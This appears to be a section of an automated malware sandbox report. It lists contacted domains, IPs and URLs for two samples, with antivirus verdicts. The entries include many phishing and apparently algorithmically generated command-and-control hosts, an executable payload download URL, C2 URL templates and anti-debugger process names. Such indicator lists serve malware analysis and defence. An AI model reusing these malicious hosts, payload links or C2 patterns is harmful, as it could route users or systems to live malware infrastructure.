http://utbidet-ugeas.biz/d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C	100%	Avira URL Cloud	phishing
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	0%	Avira URL Cloud	safe
https://powerpoint.office.com	0%	Avira URL Cloud	safe
http://www.foreca.com	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578	100%	Avira URL Cloud	phishing
https://api.msn.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wxaov.vg	88.198.29.97	true	false		unknown
qkhoq.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
ufoqprlc.vg	88.198.29.97	true	false		unknown
icsoxxj.vg	88.198.29.97	true	false		unknown
zadykwd.ws	64.70.19.203	true	false	0%, Virustotal, Browse	unknown
wqncc.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
sukqszassere.ws	64.70.19.203	true	false		unknown
aogmlobkrhuib.vg	88.198.29.97	true	false		unknown
hinhw.vg	88.198.29.97	true	false		unknown
kwicmz.vg	88.198.29.97	true	false		unknown
geyoxtsrqqmiqw.vg	88.198.29.97	true	false		unknown
ihmqwebenkcyl.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
mxrcu.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
diius.ws	64.70.19.203	true	false		unknown
czeocbmiquufi.ws	64.70.19.203	true	false		unknown
wemqmaugvti.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
zishghfgv.ws	64.70.19.203	true	false		unknown
gkewcyrniuqqg.vg	88.198.29.97	true	false		unknown
uyjswuwmg.vg	88.198.29.97	true	false		unknown
giogv.vg	88.198.29.97	true	false		unknown
teposqumcrg.vg	88.198.29.97	true	false	1%, Virustotal, Browse	unknown
ouwmfwh.ws	64.70.19.203	true	false	0%, Virustotal, Browse	unknown
dwsbbsvuhe.vg	88.198.29.97	true	false		unknown
efwumqtt.vg	88.198.29.97	true	false		unknown
yakavstwqwwvc.vg	88.198.29.97	true	false		unknown
auylucqir.vg	88.198.29.97	true	false		unknown
ckscocredcu.vg	88.198.29.97	true	false		unknown
whgptwpsa.vg	88.198.29.97	true	false		unknown
tggrkab.vg	88.198.29.97	true	false		unknown
iiuchwvui.vg	88.198.29.97	true	false		unknown
dkkmkcjaksqc.vg	88.198.29.97	true	false		unknown
ojaqe.vg	88.198.29.97	true	false		unknown
hcaie.vg	88.198.29.97	true	false		unknown
kwyckmjmiagy.vg	88.198.29.97	true	false		unknown
sooyqhceeuw.vg	88.198.29.97	true	false		unknown
usieuqieneogs.vg	88.198.29.97	true	false		unknown
swdbwwsmwffcc.ws	64.70.19.203	true	false		unknown
xgdgatocmccubh.ws	64.70.19.203	true	false		unknown
cywyeymyaxygg.vg	88.198.29.97	true	false		unknown
ngicq.vg	88.198.29.97	true	false		unknown
ichiqobl.ws	64.70.19.203	true	false		unknown
suafgoya.vg	88.198.29.97	true	false		unknown
bedcmatyd.vg	88.198.29.97	true	false		unknown
mvrooosmgqanq.vg	88.198.29.97	true	false		unknown
seynayvty.vg	88.198.29.97	true	false		unknown
tcmmfrsiy.vg	88.198.29.97	true	false		unknown
mumvetosocg.vg	88.198.29.97	true	false		unknown
spqdqewqyh.vg	88.198.29.97	true	false		unknown
pzxzcgj.vg	88.198.29.97	true	false		unknown
beoklokipnezm.vg	88.198.29.97	true	false		unknown
wjgzsqwufcmcgg.vg	88.198.29.97	true	false		unknown
whimkzg.ws	64.70.19.203	true	false		unknown
lxegmfa.vg	88.198.29.97	true	false		unknown
mrpcjmcshkf.ws	64.70.19.203	true	false		unknown
ueksnsqyyyg.vg	88.198.29.97	true	false		unknown
occwssawx.ws	64.70.19.203	true	false		unknown
esiqooistio.vg	88.198.29.97	true	false		unknown
xaicicowq.vg	88.198.29.97	true	false		unknown
vfwasiy.ws	64.70.19.203	true	false		unknown
kvubzmczh.vg	88.198.29.97	true	false		unknown
ioouqzzecu.ws	64.70.19.203	true	false		unknown
scmkkkslv.vg	88.198.29.97	true	false		unknown
osszxuqww.vg	88.198.29.97	true	false		unknown
okwkkycrsduhw.vg	88.198.29.97	true	false		unknown
mgqiuyioetg.ws	64.70.19.203	true	false		unknown
kgvdlkf.vg	88.198.29.97	true	false		unknown
legxqqa.vg	88.198.29.97	true	false		unknown
kvaqewnz.vg	88.198.29.97	true	false		unknown
kmmwwihyq.vg	88.198.29.97	true	false		unknown
vumild.ws	64.70.19.203	true	false		unknown
jnewcznyumckcw.vg	88.198.29.97	true	false		unknown
kjidaqsoau.vg	88.198.29.97	true	false		unknown
ekoughqi.ws	64.70.19.203	true	false		unknown
monaunc.ws	64.70.19.203	true	false		unknown
qttvmgx.ws	64.70.19.203	true	false		unknown
yewqawydd.vg	88.198.29.97	true	false		unknown
utbidet-ugeas.biz	172.234.222.143	true	false		unknown
koydecqcyni.vg	88.198.29.97	true	false		unknown
kmwix.vg	88.198.29.97	true	false		unknown
ijiivko.vg	88.198.29.97	true	false		unknown
kerkqpkcy.vg	88.198.29.97	true	false		unknown
lqgthicggq.ws	64.70.19.203	true	false		unknown
wtivg.vg	88.198.29.97	true	false		unknown
nkancquzytf.vg	88.198.29.97	true	false		unknown
swnalczejnim.vg	88.198.29.97	true	false		unknown
zcrgvsuzzgk.vg	88.198.29.97	true	false		unknown
szmyagiieis.vg	88.198.29.97	true	false		unknown
qzlqdcowacw.vg	88.198.29.97	true	false		unknown
seoojlsinux.vg	88.198.29.97	true	false		unknown
wppmkeygkekq.vg	88.198.29.97	true	false		unknown
nqwrhwh.vg	88.198.29.97	true	false		unknown
dcunbwimkgp.ws	64.70.19.203	true	false		unknown
xyrnewhuygeco.vg	88.198.29.97	true	false		unknown
uuyhocgpasnce.ws	64.70.19.203	true	false		unknown
esavwuvqkoseg.ws	64.70.19.203	true	false		unknown
wuwwmjjecu.vg	88.198.29.97	true	false		unknown
uwasak.vg	88.198.29.97	true	false		unknown
mskgqyoctwd.vg	88.198.29.97	true	false		unknown
caxcxkg.vg	88.198.29.97	true	false		unknown
gudjrnqeeeg.vg	88.198.29.97	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com:443/v1/news/Feed/Windows?t	explorer.exe, 00000005.00000002.3709701252.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1239274655.0000000007276000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/cc	Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 00000005.00000000.1244328769.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713855576.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2271352350.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?ntdbg.exeidbg32.exeahuy.exeaset32	Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000005.00000003.2272997326.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C3F7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2271230294.000000000C41F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/rpt?	Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/N?	Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://slmkgcf.mp/	onbeateax-oded.exe, 00000001.00000003.1577051468.0000000000746000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000005.00000000.1244328769.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273910850.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3714259581.000000000913F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C	onbeateax-oded.exe, 00000001.00000003.1611930394.0000000000746000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67	onbeateax-oded.exe, 00000001.00000003.1567941195.0000000000746000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000005.00000002.3713320347.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pollensense.com/	explorer.exe, 00000005.00000002.3709701252.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000005.00000002.3711619664.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3712416954.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3712449507.0000000008820000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/G?	Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033BPf	onbeateax-oded.exe, 00000001.00000003.1388255125.0000000000736000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430	onbeateax-oded.exe, 00000001.00000003.1376768879.000000000073A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://aupdmfk.nu/	onbeateax-oded.exe, 00000001.00000003.1611930394.0000000000746000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.com	explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
